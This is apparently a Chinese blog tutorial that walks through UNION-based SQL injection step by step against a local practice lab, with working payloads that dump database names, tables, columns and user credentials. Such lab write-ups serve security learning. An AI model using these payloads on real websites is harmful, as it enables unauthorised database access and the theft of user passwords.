联合查询:

联合查询:

1、找页面可能存在的注入点的位置

​ 看页面url地址是否有后台传参动作 ---> ?

​ 构造传参值 --> ?id=xx

​ 验证输入自己构造的传参值后,后台是否能够解析

2、确认页面是否有回显值

url/index.php?id=-50

​ and 1=1 判断页面是否正常

​ and 1=2 判断页面是否部份报错

3、添加语句order by

目的:确定当前页面的回显位数。

url/index.php?id=-50 order by (值)

找到报错和不报错的临界点,取不报错的最大值

4、开始进行联合查询

​ url/index.php?id=-50 union select 1,2,3,4,5 --+

(匹配order by 验证出来的值)

​ 确定当前页面的显示位为5,随后通过查看页面的回显值来确定具体哪位是可控的回显点。

5、可以判断当前url地址为注入点

​ 在占位符位置上,构造我们想要的攻击代码,想要查看的结果会出现在占位符的位置上。

​ database() 查看当前页面使用的数据库

​ user() 查看当前登录数据库的用户

​ @@version 查看当前数据库版本

​ @@basedir 查看路径

6、爆库

http://localhost/sql/Less-1/index.php?id=-1' UNION SELECT 1,database(),3--+

img

7、爆表以及列(mysql版本需在5.5以下)

http://localhost/sql/Less-1/index.php?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

img

http://localhost/sql/Less-1/index.php?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') --+

img

8、爆数据

http://localhost/sql/Less-1/index.php?id=-1' union select 1,2,(select group_concat(concat(username,'%20',password)) from users) --+

img

posted @ 2023-06-08 16:13  Magic水瓶  阅读(34)  评论(0)    收藏  举报